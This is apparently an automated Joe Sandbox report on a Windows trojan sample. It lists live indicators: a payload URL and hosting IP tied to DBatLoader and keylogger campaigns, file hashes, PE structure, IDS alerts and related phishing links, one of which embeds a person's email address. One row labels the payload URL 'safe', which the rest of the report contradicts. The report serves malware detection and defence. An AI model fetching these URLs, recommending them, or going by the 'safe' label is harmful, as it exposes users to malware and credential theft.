https://amazonenviro.com/245_Nsltarpnconax	JDQS879kiy.exe, 00000000.00000002.2635679583.00000000205E6000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
166.62.27.188	amazonenviro.com	United States		26496	AS-26496-GO-DADDY-COM-LLCUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1590518
Start date and time:	2025-01-14 08:23:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	JDQS879kiy.exe renamed because original name is a hash value
Original Sample Name:	e9802e45a66c963ced0e7c60c899c5cd.exe
Detection:	MAL
Classification:	mal76.troj.evad.winEXE@1/0@2/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 23 Number of non-executed functions: 37
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 104.40.149.189, 13.107.253.45, 52.149.20.212
Excluded domains from analysis (whitelisted): azurefd-t-fb-prod.trafficmanager.net, slscr.update.microsoft.com, otelrules.azureedge.net, twc.trafficmanager.net, otelrules.afd.azureedge.net, ctldl.windowsupdate.com, azureedge-t-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
02:24:15	API Interceptor	77x Sleep call for process: JDQS879kiy.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
166.62.27.188	zYj1wg0cM2.doc	Get hash	malicious	DBatLoader	Browse	amazonenviro.com/245_Aiymwhpjxsg
	ENQ-0092025.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	amazonenviro.com/245_Aiymwhpjxsg
	yxU3AgeVTi.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	amazonenviro.com/245_Aiymwhpjxsg
	ITT # KRPBV2663 .doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	amazonenviro.com/245_Aiymwhpjxsg

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
amazonenviro.com	LbZ88q4uPa.exe	Get hash	malicious	DBatLoader	Browse	166.62.27.188
	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	166.62.27.188
	zYj1wg0cM2.doc	Get hash	malicious	DBatLoader	Browse	166.62.27.188
	ENQ-0092025.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	166.62.27.188
	yxU3AgeVTi.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	166.62.27.188
	ITT # KRPBV2663 .doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	166.62.27.188
	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	166.62.27.188
s-part-0017.t-0009.fb-t-msedge.net	3.19.1+SetupWIService.exe	Get hash	malicious	Unknown	Browse	13.107.253.45
	https://app.box.com/s/it1hhxczqyf0qxif41bma48tat7sqs32	Get hash	malicious	HTMLPhisher	Browse	13.107.253.45
	http://id1223.adsalliance.xyz	Get hash	malicious	Unknown	Browse	13.107.253.45
	NursultanAlphaCrack.bat.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	13.107.253.45
	https://sites.google.com/view/01-25sharepoint/	Get hash	malicious	HTMLPhisher	Browse	13.107.253.45
	YYYY-NNN AUDIT DETAIL REPORT .docx	Get hash	malicious	Unknown	Browse	13.107.253.45
	setup64v.2.9.7.msi	Get hash	malicious	Unknown	Browse	13.107.253.45
	https://encryption-deme-group.lomiraxen.ru/PdoodjcL/#Mvercauteren.william@deme-group.com	Get hash	malicious	Unknown	Browse	13.107.253.45
	17367113452957edfc9b8ae3ec34b8a6a9089df6f896f271bbf1399203c8025fd6cb0731fa872.dat-decoded.exe	Get hash	malicious	Unknown	Browse	13.107.253.45
	VlY57c5AF4.exe	Get hash	malicious	Unknown	Browse	13.107.253.45

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AS-26496-GO-DADDY-COM-LLCUS	LbZ88q4uPa.exe	Get hash	malicious	DBatLoader	Browse	166.62.27.188
	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	166.62.27.188
	trow.exe	Get hash	malicious	Unknown	Browse	107.180.98.101
	https://upholl-xlognusa.godaddysites.com/	Get hash	malicious	Unknown	Browse	198.71.248.123
	3.elf	Get hash	malicious	Unknown	Browse	184.168.52.170
	http://logiinnmaskemettaha93.godaddysites.com/	Get hash	malicious	HTMLPhisher	Browse	198.71.248.123
	http://app-metamask.godaddysites.com/	Get hash	malicious	Unknown	Browse	198.71.248.123
	http://metamssk-luggiinn.godaddysites.com/	Get hash	malicious	HTMLPhisher	Browse	198.71.248.123
	http://procustodiavalueslive.github.io/mediantime1db1d62ef90e6fec5644546bc086f16336d68481479f56e29285a338fc23/	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	72.167.84.16
	n0nsAzvYNd.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	166.62.28.135

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	LbZ88q4uPa.exe	Get hash	malicious	DBatLoader	Browse	166.62.27.188
	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	166.62.27.188
	183643586-388657435.07.exe	Get hash	malicious	Unknown	Browse	166.62.27.188
	uo9m.exe	Get hash	malicious	LummaC	Browse	166.62.27.188
	uo9m.exe	Get hash	malicious	LummaC	Browse	166.62.27.188
	YYYY-NNN AUDIT DETAIL REPORT .docx	Get hash	malicious	Unknown	Browse	166.62.27.188
	msit.exe	Get hash	malicious	LummaC Stealer	Browse	166.62.27.188
	tesr.exe	Get hash	malicious	LummaC Stealer	Browse	166.62.27.188

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.188510241840165
TrID:	Win32 Executable (generic) a (10002005/4) 99.38% InstallShield setup (43055/19) 0.43% Windows Screen Saver (13104/52) 0.13% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02%
File name:	JDQS879kiy.exe
File size:	1'161'216 bytes
MD5:	e9802e45a66c963ced0e7c60c899c5cd
SHA1:	cd4eee552fb5b4326f5e1bc2d2b16779639d5efb
SHA256:	3cce82eff14a78c73dbc3f64a7abc6476d9b184763a5f6713ce68d6ee8df75f8
SHA512:	1723dd25dc853d193b4574521b9a0f40e87fa13c2dd74a1d868e8e0d6736ea79c5f0f2896359e555da2da351cbf52b2337956f802e10869eda3c36264143f8b5
SSDEEP:	24576:Gw6yj+R7ydItm/2uQAGYDKAVcpzWc4ctu:GDBR2KTYDKArc4Ku
TLSH:	78359D3790B387FDC17289798F5F9BE4682EA9303928BA52FED17D0D5B242417838197
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	4f858a8c8e8e8946

Static PE Info

General

Entrypoint:	0x46e80c
Entrypoint Section:	.itext
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	44c8864bd68c3bff94639c69671ea4b7

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 0046D250h
call 00007F8ACC7705C1h
mov ecx, dword ptr [00470E9Ch]
mov eax, dword ptr [00470D8Ch]
mov eax, dword ptr [eax]
mov edx, dword ptr [0046CB00h]
call 00007F8ACC7C6459h
mov eax, dword ptr [00470D8Ch]
mov eax, dword ptr [eax]
call 00007F8ACC7C64CDh
call 00007F8ACC76E420h
lea eax, dword ptr [eax+00h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x75000	0x266e	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x82000	0xa1c00	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7a000	0x7ce8	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x79000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x75754	0x600	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6c4c0	0x6c600	69c4173c38ad27686fb46f69fd79ec91	False	0.5070961288927336	data	6.531494017298441	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0x6e000	0x848	0xa00	639613140a642faedd01bff468c3e3cf	False	0.523828125	data	5.552779847613545	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x6f000	0x1f40	0x2000	53b6dd6978c858db7e9faa57954b9c18	False	0.3963623046875	data	3.804120578626792	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0x71000	0x36ec	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x75000	0x266e	0x2800	f0f9a1156b641e5ea253cb6ddcaf08ba	False	0.3103515625	data	4.872671403071516	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x78000	0x34	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x79000	0x18	0x200	5b11e123dd9b7f6d94b27d2ad6e9bc83	False	0.05078125	data	0.2108262677871819	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x7a000	0x7ce8	0x7e00	3b0f62de599dc8a77438a9e2115a0b81	False	0.6107390873015873	data	6.679791141044884	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0x82000	0xa1c00	0xa1c00	56ed1027dde62713b525386341887dd6	False	0.50098410935085	data	6.976945226119281	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x83244	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"	English	United States	0.38636363636363635
RT_CURSOR	0x83378	0x134	data	English	United States	0.4642857142857143
RT_CURSOR	0x834ac	0x134	data	English	United States	0.4805194805194805
RT_CURSOR	0x835e0	0x134	data	English	United States	0.38311688311688313
RT_CURSOR	0x83714	0x134	data	English	United States	0.36038961038961037
RT_CURSOR	0x83848	0x134	data	English	United States	0.4090909090909091
RT_CURSOR	0x8397c	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	English	United States	0.4967532467532468
RT_BITMAP	0x83ab0	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.43103448275862066
RT_BITMAP	0x83c80	0x1e4	Device independent bitmap graphic, 36 x 19 x 4, image size 380	English	United States	0.46487603305785125
RT_BITMAP	0x83e64	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.43103448275862066
RT_BITMAP	0x84034	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39870689655172414
RT_BITMAP	0x84204	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.4245689655172414
RT_BITMAP	0x843d4	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5021551724137931
RT_BITMAP	0x845a4	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5064655172413793
RT_BITMAP	0x84774	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39655172413793105
RT_BITMAP	0x84944	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5344827586206896
RT_BITMAP	0x84b14	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39655172413793105
RT_BITMAP	0x84ce4	0x81940	Device independent bitmap graphic, 971 x 182 x 24, image size 530712	English	United States	0.497995297238635
RT_BITMAP	0x106624	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.39864864864864863
RT_BITMAP	0x10674c	0x128	Device independent bitmap graphic, 19 x 16 x 4, image size 192	English	United States	0.3885135135135135
RT_BITMAP	0x106874	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.3885135135135135
RT_BITMAP	0x10699c	0xe8	Device independent bitmap graphic, 13 x 16 x 4, image size 128	English	United States	0.36637931034482757
RT_BITMAP	0x106a84	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.3614864864864865
RT_BITMAP	0x106bac	0x128	Device independent bitmap graphic, 20 x 16 x 4, image size 192	English	United States	0.3783783783783784
RT_BITMAP	0x106cd4	0xd0	Device independent bitmap graphic, 13 x 13 x 4, image size 104	English	United States	0.49038461538461536
RT_BITMAP	0x106da4	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.3716216216216216
RT_BITMAP	0x106ecc	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.2905405405405405
RT_BITMAP	0x106ff4	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.38175675675675674
RT_BITMAP	0x10711c	0x128	Device independent bitmap graphic, 19 x 16 x 4, image size 192	English	United States	0.3783783783783784
RT_BITMAP	0x107244	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.3783783783783784
RT_BITMAP	0x10736c	0xe8	Device independent bitmap graphic, 12 x 16 x 4, image size 128	English	United States	0.3620689655172414
RT_BITMAP	0x107454	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.3581081081081081
RT_BITMAP	0x10757c	0x128	Device independent bitmap graphic, 20 x 16 x 4, image size 192	English	United States	0.375
RT_BITMAP	0x1076a4	0xd0	Device independent bitmap graphic, 13 x 13 x 4, image size 104	English	United States	0.47115384615384615
RT_BITMAP	0x107774	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.36824324324324326
RT_BITMAP	0x10789c	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.28716216216216217
RT_BITMAP	0x1079c4	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.3885135135135135
RT_BITMAP	0x107aec	0x128	Device independent bitmap graphic, 19 x 16 x 4, image size 192	English	United States	0.375
RT_BITMAP	0x107c14	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.375
RT_BITMAP	0x107d3c	0xe8	Device independent bitmap graphic, 13 x 16 x 4, image size 128	English	United States	0.36637931034482757
RT_BITMAP	0x107e24	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.35135135135135137
RT_BITMAP	0x107f4c	0x128	Device independent bitmap graphic, 20 x 16 x 4, image size 192	English	United States	0.36486486486486486
RT_BITMAP	0x108074	0xd0	Device independent bitmap graphic, 13 x 13 x 4, image size 104	English	United States	0.47115384615384615
RT_BITMAP	0x108144	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.3581081081081081
RT_BITMAP	0x10826c	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.28716216216216217
RT_BITMAP	0x108394	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128	English	United States	0.4870689655172414
RT_ICON	0x10847c	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 40314 x 40314 px/m			0.40560165975103735
RT_DIALOG	0x10aa24	0x52	data			0.7682926829268293
RT_DIALOG	0x10aa78	0x52	data			0.7560975609756098
RT_STRING	0x10aacc	0x35c	data			0.45348837209302323
RT_STRING	0x10ae28	0x2d8	data			0.4642857142857143
RT_STRING	0x10b100	0xc0	data			0.6770833333333334
RT_STRING	0x10b1c0	0xec	data			0.6483050847457628
RT_STRING	0x10b2ac	0x350	data			0.43514150943396224
RT_STRING	0x10b5fc	0x3cc	data			0.37962962962962965
RT_STRING	0x10b9c8	0x388	data			0.4092920353982301
RT_STRING	0x10bd50	0x418	data			0.36736641221374045
RT_STRING	0x10c168	0x140	data			0.515625
RT_STRING	0x10c2a8	0xcc	data			0.6127450980392157
RT_STRING	0x10c374	0x1ec	data			0.5345528455284553
RT_STRING	0x10c560	0x3b0	data			0.326271186440678
RT_STRING	0x10c910	0x354	data			0.4107981220657277
RT_STRING	0x10cc64	0x2a4	data			0.4363905325443787
RT_RCDATA	0x10cf08	0x10	data			1.5
RT_RCDATA	0x10cf18	0x338	data			0.6905339805825242
RT_RCDATA	0x10d250	0x1657c	GIF image data, version 89a, 360 x 360	English	United States	0.5910332619432668
RT_RCDATA	0x1237cc	0x369	Delphi compiled form 'TForm1'			0.6071019473081328
RT_GROUP_CURSOR	0x123b38	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x123b4c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x123b60	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x123b74	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x123b88	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x123b9c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x123bb0	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_ICON	0x123bc4	0x14	data			1.25

Imports

DLL	Import
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
user32.dll	GetKeyboardType, DestroyWindow, LoadStringA, MessageBoxA, CharNextA
kernel32.dll	GetACP, Sleep, VirtualFree, VirtualAlloc, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, CompareStringA, WriteFile, UnhandledExceptionFilter, RtlUnwind, RaiseException, GetStdHandle
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
user32.dll	CreateWindowExA, WindowFromPoint, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, SetWindowsHookExA, SetWindowPos, SetWindowPlacement, SetWindowLongW, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClassLongA, SetCapture, SetActiveWindow, SendMessageW, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageW, PeekMessageA, OffsetRect, OemToCharA, MessageBoxA, MapWindowPoints, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowUnicode, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageW, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongW, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMessagePos, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutNameA, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDlgItem, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClientRect, GetClassLongA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EnumChildWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawFocusRect, DrawEdge, DispatchMessageW, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, ClientToScreen, CheckMenuItem, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
gdi32.dll	UnrealizeObject, StretchBlt, SetWindowOrgEx, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SaveDC, RestoreDC, RectVisible, RealizePalette, Polyline, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetTextMetricsA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetRgnBox, GetPixel, GetPaletteEntries, GetObjectA, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, GdiFlush, ExcludeClipRect, DeleteObject, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, BitBlt
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
kernel32.dll	lstrcpyA, lstrcatA, _lread, _lopen, _llseek, _lclose, WriteFile, WaitForSingleObject, VirtualQuery, VirtualAlloc, SizeofResource, SetThreadLocale, SetFilePointer, SetEvent, SetErrorMode, SetEndOfFile, ResetEvent, ReadFile, MultiByteToWideChar, MulDiv, LockResource, LoadResource, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalFindAtomA, GlobalDeleteAtom, GlobalAddAtomA, GetVersionExA, GetVersion, GetTickCount, GetThreadLocale, GetStdHandle, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCPInfo, FreeResource, InterlockedExchange, FreeLibrary, FormatMessageA, FindResourceA, EnumCalendarInfoA, EnterCriticalSection, DeleteCriticalSection, CreateThread, CreateFileA, CreateEventA, CompareStringA, CloseHandle
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegFlushKey, RegCloseKey
oleaut32.dll	CreateErrorInfo, GetErrorInfo, SetErrorInfo, SysFreeString
ole32.dll	CoCreateInstance, CoUninitialize, CoInitialize
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopy, VariantClear, VariantInit
comctl32.dll	_TrackMouseEvent, ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_DragShowNolock, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_Add, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create
comdlg32.dll	GetOpenFileNameA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-14T08:24:19.092947+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49736	166.62.27.188	443	TCP
2025-01-14T08:24:20.527212+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49753	166.62.27.188	443	TCP
2025-01-14T08:24:22.145586+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49765	166.62.27.188	443	TCP
2025-01-14T08:24:23.795612+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49777	166.62.27.188	443	TCP
